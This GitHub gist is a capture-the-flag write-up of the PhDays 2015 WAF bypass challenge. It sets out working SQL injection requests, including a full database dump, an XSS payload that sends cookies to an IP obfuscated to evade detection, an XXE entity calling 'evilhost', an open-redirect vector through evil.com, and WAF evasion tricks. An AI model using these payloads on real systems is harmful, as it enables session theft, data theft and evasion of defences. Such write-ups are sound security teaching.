-
-
Save ngo/1924dc0847e457186a1f to your computer and use it in GitHub Desktop.
PhDays 2015 WAF bypass challenge
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This was a fun task to exploit a broken url redirector. URL choo-choo.phdays.com/redirect.php?to=http://phdays.com will get you a 302 redirect to phdays.com/#flag=FLAG_HERE. The flag is retrieved from user session, so we had to construct a link and give it to the bot who had a real flag in his session. | |
The final vector was to=http://phdays.com:[email protected]. The hash part of the url is not transmitted to evil.com, so we had to serve a page with js to get it from bot's browser. | |
This task was solved by p3tand. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
We solved this challenge using the same vector as in XSD (with some minor tweaks). The SQLi POC was as follows: | |
POST /online.php HTTP/1.1 | |
Host: choo-choo.phdays.com | |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0 | |
Accept: application/json, text/javascript, */*; q=0.01 | |
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 | |
Accept-Encoding: gzip, deflate | |
Content-Type: application/json; charset=UTF-8 | |
X-Requested-With: XMLHttpRequest | |
Referer: http://choo-choo.phdays.com/index.php?search=%3Cdiv+%22%3Conasdf%3D1%3E+%3C%2Fasdf%3E | |
Content-Length: 58 | |
Cookie: WAFBYPASS=543fda85-d7bd-4d6a-a8a7-dfea74ecc28e | |
Connection: keep-alive | |
Pragma: no-cache | |
Cache-Control: no-cache | |
{"timestamp":"1' where id = (select id from users) ; --"} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
There was an XSD challenge, which nobody, as far as I know, solved in an intended way. We weren't quite sure that this was xsd, and found SQLi first. | |
The vulnerable interface was parsing XML from POST requests to /tickets.php and its id parameter was vulnerable to sqli. We quickly understood that the WAF enforced the parameter length to be exactly 35 chars long, which was a nuisance. Fortunately, we found that changing host to foo.waf-bypass.com (from the intended choo-choo.waf-bypass.com) removed that restriction. All that was left was to bypass the syntax anomaly detection, which was quite easy. The final vector is as follows (db was postgres, so this uses a relatively new error-based box() vector with xml functions to quickly get all database): | |
POST /tickets.php HTTP/1.1 | |
Host: hui.phdays.com | |
Content-Type: text/xml | |
X-Requested-With: XMLHttpRequest | |
Referer: http://choo-choo.phdays.com/index.php?search=%27%22%3E | |
Content-Length: 174 | |
Cookie: WAFBYPASS=5727e690-39f4-44f1-a271-c6edfc1b4336 | |
Connection: keep-alive | |
Pragma: no-cache | |
Cache-Control: no-cache | |
<search id="'||'aaaaaaaaaaaaaaaabaaaa' ); select box (database_to_xml(TRUE,TRUE,'asd')::text) || 'aaaaaaaaaaaaaaaaaaaaa' || (' "><from></from><to></to><date></date></search> | |
https://twitter.com/artsploit/status/603686887417618432 contains a 35-char compliant vector doing the same. Also, as I found out later, you could use UTF-16 for the whole body to evade WAF |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This was the most creative challenge. As always in XSS, credits go to korse, our js ninja. | |
The task was an easy xss, but the WAF employed html parsing some exquisite context-specific signatures. At first we played with the idea of confusing the parsing (which was found to be hillariously easy: https://twitter.com/artsploit/status/603686923006255105), but the looked at the page's included js files. We found that it included some fancy bootstrap code (namely, validator: http://1000hz.github.io/bootstrap-validator/). The js code included the following snippet: | |
this.$element.find('[data-match]').each(function () { | |
var $this = $(this) | |
var target = $this.data('match') | |
$(target).on('input.bs.validator', function (e) { | |
$this.val() && $this.trigger('input.bs.validator') | |
}) | |
}) | |
This allowed the following final vector: | |
<form data-toggle="validator"><div data-match="<img src="http://2667188585" onerror=this.src+=document.cookie />"></div></form> | |
We had to use decimal ip, to evade the signature detector. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This was a fun task that we found the most time-consuming, though the decision was trivial. | |
It was an XXE, but the WAF engine blocked SYSTEM "whatever", and the task was to trigger error-based XXE. | |
The blocking, though, happened only inside DOCTYPE context of xml. | |
For some reason we didn't came up with an easy decision: https://twitter.com/artsploit/status/603686750309982209, and ended up with a task to confuse WAF's xml parser so that it thought that our payload was in wrong context. At least that is what we assume. The final vector (with some comments): | |
<?xml version="1.0"?> | |
<!DOCTYPE body | |
[ | |
<!-- this here would be blocked : <!ENTITY % remote SYSTEM "flag"> --> | |
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://evilhost/log.php;'>"> <!-- this is not blocked because this is in char literal context --> | |
%param1; <!-- somewhere here the parser gets confused --> | |
<!ENTITY % remote SYSTEM "flag"> <!-- that's why this one is not blocked --> | |
%remote; <!-- this triggers the error and outputs the flag --> | |
]> | |
<body> | |
<method>test</method> | |
</body> | |
The final solution is by p3tand |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment